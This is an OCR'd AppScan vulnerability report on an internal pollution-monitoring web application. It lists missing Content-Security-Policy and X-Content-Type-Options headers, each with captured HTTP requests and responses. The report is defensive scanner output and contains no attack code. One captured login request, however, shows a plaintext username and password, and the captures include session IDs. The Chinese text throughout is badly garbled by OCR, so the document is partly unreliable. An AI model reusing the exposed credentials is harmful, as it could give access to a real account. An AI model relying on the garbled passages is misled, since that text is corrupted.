URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page

k- onlineAction!getPollutantsWithPsID.page (Page)

ARG - AR AR X Web LR T IMBUR(E S, Wi 4. B, HLE & A/ s U B
FRE U PR AEE IR & RS EARS . RS ERBRER

A Web Iy g R B G B A 22 4

Il e .- Config your server to use the "Content-Security-Policy" header

#Z5: cookie TMIEREEZS:  57A6A5AESE37C43B017578F75A282932

H#E#E-  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

i R A -

POST /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 0

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=BFF1E5B40097D58D17AAEB6B5B20154C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " R et

}

2019/6/24

TOC
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Missing "Content-Security-Policy" header

g

Cvss 7+#t: 5.0

URL:

Ak

http://172.20.7.168:8083/amonline/app/j_spring_security _check
j_spring_security_check (Page)

A RE A 5 Web N FF MBURME S, A 4. %, HLas 4 A/ s Ui B
A RES MBI PRI P . ES BHRS . RS RS S EBIRE R

Web S I g P2 B e B A % 4

: Config your server to use the "Content-Security-Policy" header

Z5t:  cookie CUMIERFEZ::  57a6A5AESE37C43B017578F 75282932

?ﬁ E}‘}\I%jzﬁ/%f‘ front_user

#fE¥:  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

I R A i -

7] /&t

2019/6/24

POST /amOnline/app/j spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 39

j_username=13981937605&]j_password=hfjcd

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=IS0-8859-1

Content-Length: 61

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=F98D9C545215197C3325704EA9397F3E; Path=/amOnline; HttpOnly

{

"result": "success",

"targetUrl": "/amOnline/app/AppMain.page"
}

5 1 17 TOC

39



Missing "Content-Security-Policy" header

P

Cvss 7+%t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page

Sz psinfollistPsInfo.page (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 L= Config your server to use the "Content-Security-Policy" header

#%5: cookie TMIEREEFE:  57A6A5AESE37C43B017578F75A282932

28 S NERERZ: 1561348464198

#fE¥:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

I R i -

GET /amOnline/app/psinfo/psInfo!listPsInfo.page?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=26F47329B07DB23948BE5A37A1A48376; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " B B Fa A ih O i, i g
}
* 1 H
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Missing "Content-Security-Policy" header
FEE -
Cvss 4+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page

Sz stopAction!findStoplInfos.page (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 = Config your server to use the "Content-Security-Policy" header

#%5: cookie TMIEREEFE:  57A6A5AESE37C43B017578F75A282932
S8 CERERZE:  2019-04-24
S8 CEREE:  2019-06-24

H#E#E-  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

i R A -

POST /amOnline/app/monitorspot/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 57

pageNo=1lg&pageSize=20&showPageInfo=true&showPageList=false

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=4BC83DDI9F483D2A66CB800CDC21A269C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " F P 44 B R AR

}

& 7 / 17

2019/6/24
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Missing "Content-Security-Policy" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfo/admin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "Content-Security-Policy" header
5t

#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

a7 SR A -

GET /amOnline/app/psinfo/admin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=88A3F6A907A453E6328F5295A865C34C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R
}
"1 H
@ 8 / 17 TOC
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Missing "Content-Security-Policy" header
FEE -
Cvss 4+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
Z5: cookie DMIERERZE: 57a6a5AE8E37C43B017578F75A282932

#fE¥E:  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

I R A i -

7] 7t

2019/6/24

POST /amOnline/app/monitorspot/spotAction!findAcceptInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 58

search_acceptStatus=-99&search_pageNo=l&search pageSize=20

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=508294A61D07A9254784DE8CA7DE421F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " FH P 48 B A R

}

9 [/ 17 TOC
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Missing "Content-Security-Policy" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormityadmin/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
E
#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks
TR R A R -

GET /amOnline/app/abnormityadmin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=1CE9604FF5F9D66D2D8C490D1BE9ISDAC; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

& 10 /17

2019/6/24
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Missing "Content-Security-Policy" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormity/admin/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
E
#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks
TR R A R -

GET /amOnline/app/abnormity/admin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0308DD52713329209493123C8AAC241F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

A 11
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Missing "Content-Security-Policy" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
5t

#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

a7 SR A -

GET /amOnline/app/monitorspot/admin/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=37E02AF99A57C266CC6093DE4DC28CD4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R
}
"1 H
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Missing "Content-Security-Policy" header

FEE -
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemon/admin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
P31
#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemon/admin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=E60331CB919C8831DF239AD76B6D8915; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

& 13 /17

2019/6/24
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Missing "Content-Security-Policy" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
5t

#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

a7 SR A -

GET /amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=BB27D777C28C01B1FC07B8221BBA20FB; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

B 14 | 17 oe

2019/6/24



Missing "Content-Security-Policy" header

FEE -
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/spotaction!findacceptinfos.page
Sk spotAction!findAcceptinfos.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
P31
#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks
TR 75 SR A iz -

GET /amOnline/app/monitorspot/admin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0E1D4C4COB8EDBO165F5C5E64FACD5D6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R
}
"1 H
8 15 /[ 17 TOC
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Missing "Content-Security-Policy" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfoadmin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "Content-Security-Policy" header
5t

#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

a7 SR A -

GET /amOnline/app/psinfoadmin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=64A2C6D2765D3B6FE363B2BCFCD907D4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RE GO, WER SR
}
"1 H
W 16 / 17 TOC
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Missing "Content-Security-Policy" header

FEE -
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemonadmin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "Content-Security-Policy" header
P31
#EM:  AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=9AFC021927648D86F4807266101E642A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

W8 17 /17

2019/6/24
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Missing "Content-Security-Policy" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - T RE SRR X Web B AFR P IOBURME B, 4. Bh0. HLak 4 A/ eREusoc A B
ARSI PRI P 4. B, FHR S K SEERER
JEA - Web N A% 7 4 1 SC B A % 4
] 5 = Config your server to use the "Content-Security-Policy" header
5t

i3 AppScan detected that the Content-Security-Policy response header is missing, which increases
exposure to various cross-site injection attacks

T SR o -

GET /amOnline/app/monitorspotadmin/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=714B3233E562CDF4EA6TFF6FAF6B38B7; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " R ERESIEC Y, HEHER

}

Missing "X-Content-Type-Options" header €D

a1/ 17 TOC

2019/6/24
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Missing "X-Content-Type-Options" header

fa i

Cvss 7+#t: 5.0

URL:
otk
A=

J5A -

sl 5

http://172.20.7.168:8083/amonline/app/applogin.page
AppLogin.page (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

: Config your server to use the "X-Content-Type-Options" header

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

a7 SR A -

2019/6/24

GET /amOnline/app/ApplLogin.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E5C9D3AC69648D3DEA7BBD6FB7A8FAE2

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j spring security logout

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:23 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>H pilbys 8fy AN HEMBUEE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8768d90d1308"';
</script>
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<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<!-- FEEER -
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<t-- HEER -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login type fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/l m title info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ%MiBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BEELE
JE" onClick="javascript:$('#divFloatToolsView').animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf_ setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net') ;

}):$('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

J&Ir</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" KAELR R
onClick="javascript:$ ('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function () { $(‘#divFloatToolsView').hide();kf_setCookie('RightFloatShown', i, 90, vju,

'www.shopnc.net');

});$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools Hide').attr('style', 'dis.

href="javascript:void (0) ;">
W< /a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold; "> ARZF<br><span style="font-size: 14px;">7*10/M¥</span><br><span
style="font-size: 14px;">(08:30-18:30)</span></span></p>
</div>
</div>

<form name
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Missing "X-Content-Type-Options" header
e -
Cvss #+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESIERG ¢ Web SRR P IIEURME R, W &, S0, plas & A/eugor A B
ARSI PR b A P & FiE. SRS SRR SEEERER
B Web [ F#E 7 4 i BAC B AN 224
] 5 = Config your server to use the "X-Content-Type-Options" header
Z5: cookie DMIERERZE: 57a6a5AE8E37C43B017578F75A282932

H#EFE-  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

I R A i -

i

2019/6/24

POST /amOnline/app/monitorspot/spotAction!findAcceptInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 58

search_acceptStatus=-99&search_pageNo=l&search pageSize=20

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=508294A61D07A9254784DE8CA7DE421F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " FH P 48 B A R

}

3 [/ 17 TOC
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Missing "X-Content-Type-Options" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page
